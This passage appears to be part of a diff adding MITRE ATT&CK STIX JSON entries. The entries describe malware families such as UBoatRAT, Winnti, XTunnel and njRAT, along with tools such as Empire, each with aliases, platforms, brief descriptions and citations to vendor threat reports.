"x_mitre_aliases": [ + "UBoatRAT" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:24:01.572Z", + "created": "2019-01-29T19:09:26.355Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) is a remote access tool that was identified in May 2017.(Citation: PaloAlto UBoatRAT Nov 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0333", + "external_id": "S0333", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: PaloAlto UBoatRAT Nov 2017)", + "source_name": "UBoatRAT" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "source_name": "PaloAlto UBoatRAT Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "UPPERCUT", + "x_mitre_aliases": [ + "UPPERCUT", + "ANEL" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:24:27.229Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--fb4e3792-e915-4fdd-a9cd-92dfa2ace7aa", + "description": "[UPPERCUT](https://attack.mitre.org/software/S0275) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045). (Citation: FireEye APT10 Sept 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0275", + "external_id": "S0275", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye APT10 Sept 2018)", + "source_name": "UPPERCUT" + }, + { + "description": "(Citation: FireEye APT10 Sept 2018)", + "source_name": "ANEL" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "USBStealer", + "x_mitre_aliases": [ + "USBStealer", + "USB Stealer", + "Win32/USBStealer" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-18T16:11:07.955Z", + "created": "2017-05-31T21:33:17.716Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) is malware that has used by [APT28](https://attack.mitre.org/groups/G0007) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://attack.mitre.org/software/S0045). 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[USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0452", + "external_id": "S0452", + "source_name": "mitre-attack" + }, + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. 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Retrieved June 5, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "VBShower", + "x_mitre_aliases": [ + "VBShower" + ], + "x_mitre_version": "1.0", + "modified": "2020-05-12T20:56:07.174Z", + "created": "2020-05-08T20:43:25.743Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed", + "description": "[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. 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Retrieved May 8, 2020.", + "source_name": "Kaspersky Cloud Atlas August 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "VERMIN", + "x_mitre_aliases": [ + "VERMIN" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:26:04.840Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) is a remote access tool written in the Microsoft .NET framework. It is mostly composed of original code, but also has some open source code. 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It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0176", + "url": "https://attack.mitre.org/software/S0176" + }, + { + "description": "(Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft Wingbird Nov 2017)", + "source_name": "Wingbird" + }, + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. 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Retrieved November 27, 2017.", + "source_name": "Microsoft Wingbird Nov 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Winnti for Linux", + "x_mitre_aliases": [ + "Winnti for Linux" + ], + "x_mitre_version": "1.0", + "modified": "2020-07-01T18:34:02.367Z", + "created": "2020-04-29T15:06:59.171Z", + "x_mitre_platforms": [ + "Linux" + ], + "id": "malware--8787e86d-8475-4f13-acea-d33eb83b6105", + "description": "[Winnti for Linux](https://attack.mitre.org/software/S0430) is a trojan, seen since at least 2015, designed specifically for targeting Linux systems. Reporting indicates the winnti malware family is shared across a number of actors including [Winnti Group](https://attack.mitre.org/groups/G0044). The Windows variant is tracked separately under [Winnti for Windows](https://attack.mitre.org/software/S0141).(Citation: Chronicle Winnti for Linux May 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0430", + "external_id": "S0430", + "source_name": "mitre-attack" + }, + { + "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", + "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020.", + "source_name": "Chronicle Winnti for Linux May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Winnti for Windows", + "x_mitre_aliases": [ + "Winnti for Windows" + ], + "x_mitre_version": "2.0", + "modified": "2020-05-04T12:29:49.081Z", + "created": "2017-05-31T21:33:21.027Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "description": "[Winnti for Windows](https://attack.mitre.org/software/S0141) is a Trojan that has been used by multiple groups to carry out intrusions in varied regions from at least 2010 to 2016. One of the groups using this malware is referred to by the same name, [Winnti Group](https://attack.mitre.org/groups/G0044); however, reporting indicates a second distinct group, [Axiom](https://attack.mitre.org/groups/G0001), also uses the malware. (Citation: Kaspersky Winnti April 2013) (Citation: Microsoft Winnti Jan 2017) (Citation: Novetta Winnti April 2015) The Linux variant is tracked separately under [Winnti for Linux](https://attack.mitre.org/software/S0430).(Citation: Chronicle Winnti for Linux May 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0141", + "external_id": "S0141", + "source_name": "mitre-attack" + }, + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Microsoft Winnti Jan 2017", + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + }, + { + "source_name": "Novetta Winnti April 2015", + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + }, + { + "url": "https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a", + "description": "Chronicle Blog. (2019, May 15). Winnti: More than just Windows and Gates. Retrieved April 29, 2020.", + "source_name": "Chronicle Winnti for Linux May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Wiper", + "x_mitre_aliases": [ + "Wiper" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a19c49aa-36fe-4c05-b817-23e1c7a7d085", + "description": "[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. 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Retrieved May 13, 2015.", + "source_name": "Dell Wiper" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "XAgentOSX", + "x_mitre_aliases": [ + "XAgentOSX", + "OSX.Sofacy" + ], + "x_mitre_version": "1.3", + "modified": "2020-03-30T18:30:21.733Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) is a trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) on OS X and appears to be a port of their standard [CHOPSTICK](https://attack.mitre.org/software/S0023) or XAgent trojan. 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Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "XCSSET", + "x_mitre_aliases": [ + "XCSSET", + "OSX.DubRobber" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-19T00:43:30.036Z", + "created": "2021-10-05T21:58:51.161Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", + "description": "[XCSSET](https://attack.mitre.org/software/S0658) is a macOS modular backdoor that targets Xcode application developers. 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The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021.", + "source_name": "trendmicro xcsset xcode project 2020" + }, + { + "url": "https://blog.malwarebytes.com/detections/osx-dubrobber/", + "description": "Thomas Reed. (2020, April 21). OSX.DubRobber. Retrieved October 5, 2021.", + "source_name": "malwarebyteslabs xcsset dubrobber" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "XTunnel", + "x_mitre_aliases": [ + "XTunnel", + "Trojan.Shunnael", + "X-Tunnel", + "XAPS" + ], + "x_mitre_version": "2.1", + "modified": "2020-03-21T00:40:57.275Z", + "created": "2017-05-31T21:33:09.453Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by [APT28](https://attack.mitre.org/groups/G0007) during the compromise of the Democratic National Committee. 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Retrieved August 3, 2016.", + "source_name": "Crowdstrike DNC June 2016" + }, + { + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/", + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "source_name": "Invincea XTunnel" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "source_name": "Symantec APT28 Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Xbash", + "x_mitre_aliases": [ + "Xbash" + ], + "x_mitre_version": "1.2", + "modified": "2020-06-23T20:41:28.496Z", + "created": "2019-01-30T13:28:47.452Z", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "id": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "description": "[Xbash](https://attack.mitre.org/software/S0341) is a malware family that has targeted Linux and Microsoft Windows servers. The malware has been tied to the Iron Group, a threat actor group known for previous ransomware attacks. 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Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "YAHOYAH", + "x_mitre_aliases": [ + "YAHOYAH" + ], + "x_mitre_version": "1.1", + "modified": "2020-05-21T17:23:45.362Z", + "created": "2019-06-17T18:49:30.307Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--cb444a16-3ea5-4a91-88c6-f329adcb8af3", + "description": "[YAHOYAH](https://attack.mitre.org/software/S0388) is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)", + "x_mitre_contributors": [ + "Bart Parys" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0388", + "external_id": "S0388", + "source_name": "mitre-attack" + }, + { + "source_name": "TrendMicro TropicTrooper 2015", + "description": "Alintanahin, K. (2015). Operation Tropic Trooper: Relying on Tried-and-Tested Flaws to Infiltrate Secret Keepers. Retrieved June 14, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-tropic-trooper.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ZLib", + "x_mitre_aliases": [ + "ZLib" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T02:44:21.378Z", + "created": "2017-05-31T21:32:56.394Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "description": "[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. 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(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) ", + "x_mitre_contributors": [ + "Emily Ratliff, IBM" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0251", + "url": "https://attack.mitre.org/software/S0251" + }, + { + "description": "(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)", + "source_name": "Zebrocy" + }, + { + "description": "(Citation: CyberScoop APT28 Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "source_name": "Zekapab" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. 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Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ZeroT", + "x_mitre_aliases": [ + "ZeroT" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:31:33.197Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). 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Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Zeroaccess", + "x_mitre_aliases": [ + "Zeroaccess", + "Trojan.Zeroaccess" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. 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It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0330", + "external_id": "S0330", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)", + "source_name": "Zeus Panda" + }, + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + }, + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. 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(2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "down_new", + "x_mitre_aliases": [ + "down_new" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-24T01:27:32.659Z", + "created": "2020-06-10T19:37:49.361Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc", + "description": " [down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0472", + "external_id": "S0472", + "source_name": "mitre-attack" + }, + { + "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", + "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "gh0st RAT", + "x_mitre_aliases": [ + "gh0st RAT" + ], + "x_mitre_version": "2.3", + "modified": "2021-04-23T20:43:13.190Z", + "created": "2017-05-31T21:32:24.937Z", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "id": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is a remote access tool (RAT). The source code is public and it has been used by multiple groups. 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Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "httpclient", + "x_mitre_aliases": [ + "httpclient" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:37:13.552Z", + "created": "2017-05-31T21:32:45.315Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "description": "[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0068", + "external_id": "S0068", + "source_name": "mitre-attack" + }, + { + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "iKitten", + "x_mitre_aliases": [ + "iKitten", + "OSX/MacDownloader" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:37:55.343Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "macOS" + ], + "id": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "description": "[iKitten](https://attack.mitre.org/software/S0278) is a macOS exfiltration agent (Citation: objsee mac malware 2017).", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0278", + "external_id": "S0278", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "iKitten" + }, + { + "description": "(Citation: objsee mac malware 2017).", + "source_name": "OSX/MacDownloader" + }, + { + "url": "https://objective-see.com/blog/blog_0x25.html", + "description": "Patrick Wardle. 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Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" + } + ] + }, + { + "type": "malware", + "modified": "2020-10-14T22:25:02.713Z", + "name": "njRAT", + "x_mitre_aliases": [ + "njRAT", + "Njw0rm", + "LV", + "Bladabindi" + ], + "x_mitre_version": "1.2", + "created": "2019-06-04T17:52:28.806Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "description": "[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0385", + "external_id": "S0385", + "source_name": "mitre-attack" + }, + { + "description": "Some sources have discussed Njw0rm as a later variant of njRAT, where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of njRAT itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)", + "source_name": "Njw0rm" + }, + { + "description": "(Citation: Fidelis njRAT June 2013)", + "source_name": "LV" + }, + { + "description": "(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)", + "source_name": "Bladabindi" + }, + { + "source_name": "Fidelis njRAT June 2013", + "description": "Fidelis Cybersecurity. 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Retrieved June 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "pngdowner", + "x_mitre_aliases": [ + "pngdowner" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:39:05.662Z", + "created": "2017-05-31T21:32:44.700Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "description": "[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. 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[Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)", + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0363", + "url": "https://attack.mitre.org/software/S0363" + }, + { + "description": "(Citation: Github PowerShell Empire)", + "source_name": "EmPyre" + }, + { + "description": "(Citation: Github PowerShell Empire)", + "source_name": "PowerShell Empire" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/EmpireProject/Empire" + }, + { + "source_name": "GitHub ATTACK Empire", + "description": "Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019.", + "url": "https://github.com/dstepanic/attck_empire" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Expand", + "x_mitre_aliases": [ + "Expand" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-20T18:43:16.989Z", + "created": "2019-02-19T19:17:14.971Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973", + "description": "[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)", + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "labels": [ + "tool" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0361", + "external_id": "S0361", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand", + "description": "Microsoft. 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Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "tool", + "name": "Forfiles", + "x_mitre_aliases": [ + "Forfiles" + ], + "x_mitre_version": "1.0", + "modified": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "id": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute 